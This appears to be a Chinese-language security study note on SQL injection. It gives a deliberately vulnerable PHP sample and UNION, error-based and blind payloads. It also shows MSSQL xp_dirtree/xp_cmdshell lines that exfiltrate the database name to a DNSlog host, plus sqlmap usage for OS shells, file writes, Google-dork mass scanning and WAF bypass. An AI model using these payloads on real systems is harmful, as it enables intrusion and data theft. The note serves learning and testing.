Abstract: SQL 注入总结,及note38-note40 笔记整理。

Table of Contents

  1. SQL 注入原理
  2. SQL 注入分类
    1. 二次编码原理
    2. 二次注入原理
    3. 宽字节注入原理
    4. HTTP 头注入
    5. 盲注步骤
    6. 外带查询原理
  3. SQL 注入流程
    1. 信息搜集
    2. 获取数据
      1. 移位溢注(使用ACCESS和MYSQL)
    3. 提权
      1. sqlmap –os-shell 原理
    4. MySQL 注入常用函数
    5. sqlmap 的使用
      1. 指定 sqlmap 的探测技术
      2. 指定注入参数
      3. 设置代理
      4. 三种级别:详细程度/探测/风险
      5. 跳过某些参数
      6. 闭合注入 Payload
      7. 绕过 WAF 设备
      8. 结合 Burp 使用
      9. 批量扫描 burp 请求日志
      10. 批量扫描文本中的多个目标
      11. 利用正则过滤目标网址
      12. 利用谷歌批量扫
      13. 关于文件写入与 shell 获取
  4. WAF
    1. WAF 工作流程
    2. 常见过 WAF技巧

SQL 注入原理

当 Web 应用向后台数据库传递 SQL 语句进行数据库操作时,若对用户输入的参数没有经过严格的过滤处理,攻击者可以构造特殊 SQL 语句,直接输入数据库引擎执行,获取或修改数据库中数据。

  • SQL 注入漏洞本质:把用户输入的数据当作代码执行,违背了“数据与代码分离”的原则。
  • SQL 注入漏洞有两个关键条件:
    • 用户能控制输入内容
    • Web 应用把用户输入的内容带入到数据库中执行

SQL 注入分类

二次编码原理

提交的参数到 Web 服务器时,Web 服务器会自动解码一次,若某处使用了 urldecode 或者 rawurldecode 函数,则会导致二次解码生成单引号引发注入。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
error_reporting(0);
if(isset($_POST['id'])){
echo $_POST['id'];
echo "<br>";
// debug 20190906 start
//$tmp = urldecode($_POST['id']);
//$tmp = addslashes($tmp);
// debug 20190906 end
$tmp = addslashes($_POST['id']);
echo "before urldecode: " . $tmp;
echo "<br>";
$tmp = urldecode($tmp);
echo "POST DATA is: " . $tmp;
echo "<br>";
$keyword = "/(union select)|(order by)|(-- )|floor\(\)|updatexml\(\)|extractvalue\(\)|\/\*\*\/|(and 1=)/i";
if(preg_match($keyword,$tmp)){
show_source(__FILE__);
return ;
}else{
$id = $tmp;
$conn = @mysql_connect('localhost', 'root', 'root') or die('bad!');
mysql_query('set names utf8');
@mysql_select_db('test2', $conn) or die("error");
$select_sql="SELECT * FROM users WHERE id='$id' limit 0,1";
echo $select_sql;
echo "<br>";
$select_sql_result=mysql_query($select_sql,$conn);
$data=mysql_fetch_row($select_sql_result);
mysql_free_result($select_sql_result);
mysql_close($conn);
echo "<hr/><br/><p>";
print_r($data);
echo "</p><br/>";
}
}else{
show_source(__FILE__);
return ;
}
?>

POST 的数据是 id=1%2527 时,数据发送到服务端会解码一次变为 id=1%27 ,由于没有敏感字符,经过 addslashes() 函数过滤后,还是 id=1%27,此时再经过 urldecode() 解码函数,数据为 id=1' 带入到 SQL 语句如下:

1
SELECT * FROM users WHERE id='1'' limit 0, 1

如把 urldecode() 函数和 addslashes() 函数交换位置,id=1%2527 经服务器解码后为 id=1%27 然后再经 urldecode() 函数解码为 id=1' ,然后再由 addslashes() 后为 id=1\' ,可以看出来返回数据。

二次注入原理

在第一次进行数据库插入数据的时候,仅仅只是使用了 addslashes 或者借助 get_magic_quotes_gpc 对其中的特殊字符进行转义,但是 addslashes 虽然参数在过滤后会添加 \ 进行转义,但 \ 并不会插入到数据库中,在写入数据库的时候还是保留了原来的数据。

在将数据存入到了数据库中之后,开发者认为数据是可信的,下次需要进行查询的时候,直接从数据库中取出脏数据,没有进行检验和处理,这样会造成 SQL 的二次注入。

二次注入原理,主要分为两步:

  • 插入恶意数据

    第一次进行数据库插入数据的时候,仅仅对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是数据本身包含恶意内容。

  • 引用恶意数据

    将数据存入到数据库中后,开发者认为数据是可信的。下次需要查询的时候,直接从数据库中取出恶意数据,没有进行进一步的检验何处理。

宽字节注入原理

如何防止宽字节注入?

  • 使用 mysql_set_charset("GBK")
  • 使用 mysql_real_escape_string($id)

HTTP 头注入

HTTP 头部部分参数详解

参数 功能
User-Agent 浏览器向服务器表名自己的身份,使得服务器能够识别客户使用的操作系统,浏览器版本
Cookie 网站为了辨别用户身份,进行 session 跟踪而储存在用户本地终端上的数据
X-Forwarded-For 简称 XFF 头,它代表客户端,HTTP 请求端真是的 IP
Referer 浏览器向 Web 服务器表名自己从哪个页面链接过来的
Host 客户端指定自己想访问的 Web 服务器的域名/ IP 地址和端口号

盲注步骤

  1. 先用 count() 判断个数
  2. 再用 length() 依次判断各个库名,表名,字段名的长度
  3. ascii() + substr() + if() 结合判断出每个字符

外带查询原理

MSSQL 下,可以利用自带的存储过程或创建自定义的存储过程,向外发送网络请求。并利用DNSlog 接收外传的数据。常用的函数有:

  • xp_subdirs
  • xp_dirtree
  • xp_fileexist
  • xp_cmdshell

前三个存储过程的效果和使用方法几乎一致。

1
2
3
declare @a varchar(1024);
set @a=db_name();
exec('master..xp_dirtree "//' %2B @a %2B '.o0k708.ceye.io/123"')

xp_cmdshell 要求必须为 DBA 权限下才可使用。

1
2
3
4
sp_configure 'show advanced options',1;
reconfigure;
sp_configure 'xp_cmdshell',1;
reconfigure;
1
2
3
declare @a varchar(1024); 
set @a='www.baidu.com';
exec ('master..xp_cmdshell "ping ' %2b @a %2b '.han.9rq9q9.ceye.io" ')

SQL 注入流程

信息搜集

获取数据

移位溢注(使用ACCESS和MYSQL)

可以在获取不了列名的情况下获取数据,但是要求后面的表个字段数小于前面表的字段数。

偏移注入的步骤:

  1. 判断注入点
  2. order by 判断长度
  3. 判断表名
  4. 联合查询
  5. 获取表中列数
  6. 开始偏移注入

使用新方法注入:

获取 admin 表的列数:

order by 24 判断出字段长度

1
2
3
4
5
6
7
8
# 返回错误页面
UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,* FROM admin
# 返回错误页面
UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,* FROM admin
# 返回错误页面
UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,* FROM admin
# 返回正确页面,因此admin表列数为4
UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,* FROM admin

判断出页面那些位置能够显示数据,比如 13, 14 可以显示数据

1
UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,admin.*,17,18,19,20,21,22,23,24 FROM admin

admin 表的前两列能够显示

1
UNION SELECT 1,2,3,4,5,6,7,8,9,10,admin.*,15,1617,18,19,20,21,22,23,24 FROM admin

admin 表的后两列能够显示

提权

sqlmap –os-shell 原理

--os-shell 流程

命令行界面:

--os-shell 需要的条件:

  • FILE 权限
  • 可写的绝对路径
  • PHP GPC OFF

原理简述:通过 MySQLinto outfileinto dumpfile 向网站目录下写入 php 代码,用来执行系统命令。

MySQL 注入常用函数

函数名称 函数功能 函数名称 函数功能
system_user() 系统用户名 concat() 没有分隔符地连接字符串
user() 用户名 concat_ws() 含有分隔符地连接字符串
current_user() 当前用户名 group_concat() 连接一个组所有字符串,并以逗号分隔每条数据
session_user() 连接数据库的用户名 load_file() 读取本地文件
database() 数据库名 into outfile() 写文件
version() 数据库版本 ascii() 字符串的 ASCII 码值
@@datadir 数据库路径 ord() 返回字符串第一个字符的 ASCII 值
@@basedir 数据库安装路径 mid()/substr() 返回一个字符串的一部分
@@version_compile_os 操作系统 length() 返回字符串长度
count() 返回执行结果数量 sleep() 让语句运行N秒钟
left() 返回字符串最左边几个字符 if() > select if(1>2,2,3);-> 3
floor() 返回小于或等于 x 的最大整数 char() 返回 ASCII 代码组成的字符串
extractvalue() 用于报错注入 updatexml() 用于报错注入
strcmp() 比较字符串内容 exp() 返回 e 的 x 次方

常用的报错注入语句如下:

  • floor()
1
and (select 1 from (select count(*),concat(user()/*存放要查询的 SQL 语句*/,floor(rand(0)*2))x from information_schema.tables group by x)a);
  • extractvalue()
1
and (extractvalue(1,concat(0x7e,(select user()/*存放要查询的 SQL 语句*/),0x7e)));
  • updatexml()
1
and (updatexml(1,concat(0x7e,(select user()/*存放要查询的 SQL 语句*/),0x7e),1));

sqlmap 的使用

指定 sqlmap 的探测技术

--technique=TECH

  • B: Boolean-based blind SQL injection
  • E: Error-based SQL injection
  • U: UNION query SQL injection
  • S: Stacked queries SQL injection
  • T: Time-based blind SQL injection
指定注入参数
1
sqlmap -u "url" -p "id, user-agent"
设置代理

好处:

1. 方便测试某些网站
 2. 代理关联上 `burp` ,方便我们学习 `sqlmap` 发包规则
1
sqlmap -u "url" --proxy="http://127.0.0.1:8080"

设置好 burp ,可以在代理界面看到 sqlmap 发送的数据包。

三种级别:详细程度/探测/风险
  • 详细程度:注入时 sqlmap 的界面显示的内容详细程度,级别程度为 0-6 ,默认为 1 ,指定参数用 -v 来表示。
级别 介绍
0 只显示 python 错误以及严重的信息
1 同时显示基本信息和警告信息
2 同时显示 debug 信息
3 同时显示注入的 payload
4 同时显示 HTTP 请求头
5 同时显示 HTTP 响应头
6 同时显示 HTTP 响应页面
  • 探测等级:指注入的 payload 语句的复杂程度,级别为 1-5,默认为 1 。
1
sqlmap -u "url" --level=LEVEL
  1. 使用哪些 payload 也影响注入点的选择
  2. GET/POST 都会测试,level 2 时,会测试 cookielevel 3 时,会测试 User-AgentReferer
  • 风险等级:指是否要使用具有不同级别风险的测试语句,级别为 1-3,默认为 1 。
1
sqlmap -u "url" --risk=RISK
跳过某些参数
  • 跳过注入参宿

使用很大的 level 等级,但有些参数并不需要测试,就可以使用 --skip 参数。

1
sqlmap -u "url" --skip="user-agent.referer"
  • 跳过 URL 编码

注入测试语句不经过 url 编码发送到服务器上。

  • 绕过 URL 重写规则

有些时候 Web 服务器使用了 URL 重写,导致无法直接使用 sqlmap 测试参数,如 测试URL 这种格式的网址,在测试的参数后面加 *

1
sqlmap -u "http://xxxx/info/1018*/2347.html"
闭合注入 Payload

有些环境中,需要在注入的 payload 的前面或后面加一些字符来闭合符号,以保证 payload 的正常执行。

如:

1
2
3
4
5
<?php

$query = "SELECT * FROM users WHERE id=('".$_GET['id']."') LIMIT 0,1";

?>

这时需要使用 --prefix--suffix 参数,来进行闭合:

1
sqlmap -u "http://192.168.100.111/sqlmap/mysql/get_str_brackets.php?id=1" -p id --prefix "')" --suffix "AND ('abc'='abc"

这样执行的 SQL 语句变成:

1
2
3
4
5
<?php

$query = "SELECT * FROM users WHERE id=('1') <PAYLOAD> AND ('abc'='abc') LIMIT 0,1";

?>
绕过 WAF 设备

--tamper=TAMPER,可以查看 tamper/ 目录下有哪些可用的脚本。

结合 Burp 使用

复制 burp 拦截的 HTTP 请求包,保存为 1.txt

1
sqlmap -r 'path/1.txt'
批量扫描 burp 请求日志
  1. 首先配置 burp 记录所有的 request 请求,并保存在指定文件夹

  1. 接着浏览器设置 burp 代理,访问测试 url ,查看 sql.txt

3. 使用 `sqlmap` 扫描。
1
sqlmap -l sql.txt --batch --smart # batch 会自动选择 yes; smart 启动快速判断,节约时间
批量扫描文本中的多个目标

文本中保存 url 格式如下,sqlmap 会一个一个检测。

1
sqlmap -m url.txt
利用正则过滤目标网址

参数:--scope

例如:只想要 www 开头,.com/.net/.org 结尾的网址

1
sqlmap -l burp.log --scope="(www)?\.target\.(com|net|org)"
利用谷歌批量扫
1
sqlmap -g "inurl:\".php?id=1\""
关于文件写入与 shell 获取
1
2
3
4
5
6
7
8
9
--sql-shell					# 执行指定 sql 命令
--sql-query # 执行指定的 sql 语句
--file-read # 读取指定文件
--file-write # 写入本地文件
--file-write /test/test.txt --file-dest /var/www/html/1.txt # 将本地的test.txt文件写入目标的1.txt
--file-dest # 要写入文件的绝对路径
--os-cmd # 执行系统命令
--os-shell # 系统交互shell
--reg-read # 读取win系统注册表

WAF

WAF : Web 应用防护系统,主要是对 Web 特有入侵方式的加强防护。只能防御固有特征的漏洞,无法防御逻辑漏洞/ CSRF 漏洞/SSRF 漏洞

![](/images/197WAF 分类.png)

WAF 工作流程

常见过 WAF技巧